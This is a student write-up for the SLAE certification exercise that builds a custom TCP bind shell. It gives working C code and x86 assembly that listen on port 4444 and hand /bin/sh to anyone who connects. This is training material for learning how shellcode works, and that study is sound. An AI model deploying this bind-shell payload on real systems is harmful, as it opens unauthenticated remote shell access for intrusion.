SLAE: Custom TCP Bind shell
*all supporting code can be found here*
Student ID: SLAE - 1532
This assignment will see us create and examine shellcode with a Bind TCP shell as the payload.
We start by retrieving a bind TCP shell written in C so that we can break it down to determine how we will go about building our own shellcode:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int socketfd;
int socketid;
struct sockaddr_in hostaddr;
int main() {
//Create socket, which returns the file descriptor so we can interact with it
socketfd = socket(PF_INET, SOCK_STREAM, 0); //here we specify that it is an ipv4 stream type of communication and protocol is 0 (TCP/IP)
//Initialize sockaddr struct
hostaddr.sin_family = AF_INET; //address family set to AF_INET(which is ipv4)
hostaddr.sin_port = htons(4444); //htons is neccesary so endianness does not reverse how the port is stored in memory, thus scrambling it
hostaddr.sin_addr.s_addr = htonl(INADDR_ANY); //htonl is neccesary so endianness does not reverse how the address is stored in memory, thus scrambling it
//Bind our socket as defined
bind(socketfd, (struct sockaddr*) &hostaddr, sizeof(hostaddr));
//Start Listening
listen(socketfd, 2);
//Accept incoming connection
socketid = accept(socketfd, NULL, NULL);
//Create new file descriptors for stdin stdout and stderror, so the client shell will recieve these from our socket
dup2(socketid, 0);
dup2(socketid, 1);
dup2(socketid, 2);
//Use execve to excecute /bin/sh from within our program
execve("//bin/sh", NULL, NULL); //extra slash is to ensure we have to 8bit values to push onto stack later on
}
After looking at the above we know we will need to make use of the following syscalls and functions under socketcall:
- __NR_socketcall 102
- SYS_SOCKET 1
- SYS_BIND 2
- SYS_CONNECT 3
- SYS_LISTEN 4
- SYS_ACCEPT 5
- __NR_dup 41
- __NR_execve 11
Now, the SYS_SOCKET function takes 3 args as per man page:
The first arg, domain will be set to AF_INET. As per our .c code, we already know what it represents (IPv4) The second arg, type, will be set to SOCK_STREAM. Again we know what this does thanks to the breakdown of our .c code. The third and final arg protocol will be 0, as according to the man page this only changes under specific circumstances and at this point is beyond the scope of the exercise.
I ended up taking the easy route and using google to obtain these values, as this was the path of least resistance.
AF_INET 2
SOCK_STREAM 1
To start converting to assembly we need to understand that syscalls get stored in EAX, with subsequent args going in EBX, ECX, EDX etc. For socket call:
- syscall value obviously goes in al
- function type (socket, bind, listen etc) goes in bl
- args to function go in ecx.
We need to both zero out our registers with XOR, and place our values in the lowest possible register, example for setting up socketcall below:
xor eax, eax ; we do this both to create a 0x0 value and get eax ready
push eax ; push 0x0 as third arg
push 0x1 ; for second arg, the value of SOCK_STREAM
push 0x2 ; first arg is AF_INET, set address family to ipv4
xor ecx, ecx ; clear out ecx
mov ecx, esp ; move our arg values into ecx (place a pointer to these values with an address stored in ecx)
xor ebx, ebx ; SHELLCODE DID NOT WORK WITHOUT THIS HERE, IT WILL WORK WITH NASM BUT NOT AS SHELLCODE DUE TO REGISTER NOISE!!!
mov al, 102 ; we move the socketcall syscall value into al, to avoid padding
mov bl, 1 ; we set function to 1, which is the value of socket (this will change later on to accomodate accept, listen, bind etc)
int 0x80 ; call system interrupt
mov esi, eax ; we store the returning value of our syscall for later use in other functions
We now move onto setting up the bind section of the shell. A quick rundown of what we need to achieve here is:
- set sycall as socketcall again
- this time function will be 2 (SYS_BIND)
- we will need to reference the result of our previously executed syscall (now stored in esi)
- Specify listening address as 0.0.0.0 (all available)
- Specify the port value (/x11/x5C, then /x5C/x11 for little endian)
- Specify adress length
I ended up having to do some further research into setting the IP address, as per the man page for bind, the second arg is struct sockaddr, as per man 7 ip this means the address needs to consist of: sin_family, sin_port and sin_addr
xor ebx, ebx
;create struct sockaddr
push ebx ; push 0x0 on for listening address
push word 0x5C11 ; push on reversed value of 4444
push 0x2 ; push value of AF_INET MAY NEED TO BE WORD??
mov ecx, esp ; store our created sockaddr struc in ecx
push 0x10 ; push length of address on (16) third arg
push ecx ; push our created structure on as second arg
push esi ; push created socket fd on as first arg
mov ecx, esp ; move our values into ecx for the syscall
mov bl, 2 ; we set function to 2, which is the value of bind
xor eax, eax
mov al, 102
int 0x80
The next part of the code will set up a listener, man page excerpt below.
SO for the listener we need to provide the socket and backlog length, a simple arg that simply specifies the queue for pending connections.
push 0x1 ; set backlog to 1 (arg 2)
push esi ; push socket fd on (arg 1)
mov ecx, esp ; mov the parameters required for listen into ecx for when we call the syscall
mov bl, 0x4 ; listen function value
mov al, 102
int 0x80
Now we move onto the accept function. As per man page, arguments will include our socket fd, struck sockaddr and addr length.
push 0x10 ; length
xor eax, eax
push eax ; address
push esi ; socket fd
mov ecx, esp
mov bl, 0x5 ; value for accept function
mov al, 102
int 0x80
The DUP syscall took me a long time to figure out, it was only after reviewing other students code multiple times I realised exactly what is needed, and it is a lot simpler than I initially thought. Essentially all we need to use DUP2 for is to copy FD 0,1 and 2 from our OLD FD into a NEW FD. I created a loop as below:
xor ecx,ecx
loop:
mov al, 63 ; value for dup2
int 0x80 ; call dup2, putting our zeroed value in
inc ecx ; increase by 1
cmp cl, 0x4 ; run through 0,1,2
jne loop ; continue when it hits 3
All that is left to do is to spawn our shell, we do so with execve
xor eax, eax
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp ; the null and //bin/sh get moved into ebx
push eax ; push another null onto stack
mov edx, esp ; move the null into edx
push ebx ; the null and //bin/sh get pushed back onto stack
mov ecx, esp ; they then get moved into ecx
mov al, 11
int 0x80
With all our pieces in place we compile our .nasm code and test it, to make sure that the next steps are not wasted on bad code (this was a good idea, as I realised I forgot to point the stack pointer to ecx in my accept section, which meant my program would just spawn /bin/sh locally xD) After all this, we can see as below I was able to connect to the bind shell:
At this point I felt the urge to start enumerating and look for privesc, however I contained myself and continued with the exercise. Using some commandlinefu I extracted the raw shellcode from my confirmed working binary:
We will now WRAP this assignment up by creating (read: stealing and modifying) a python wrapper that will allow us to customise the port. We will take our shellcode from the previous step and use that as our template, with \x11\x5c (4444) taken out.
A per screen below the script is both fool-proof and accurate.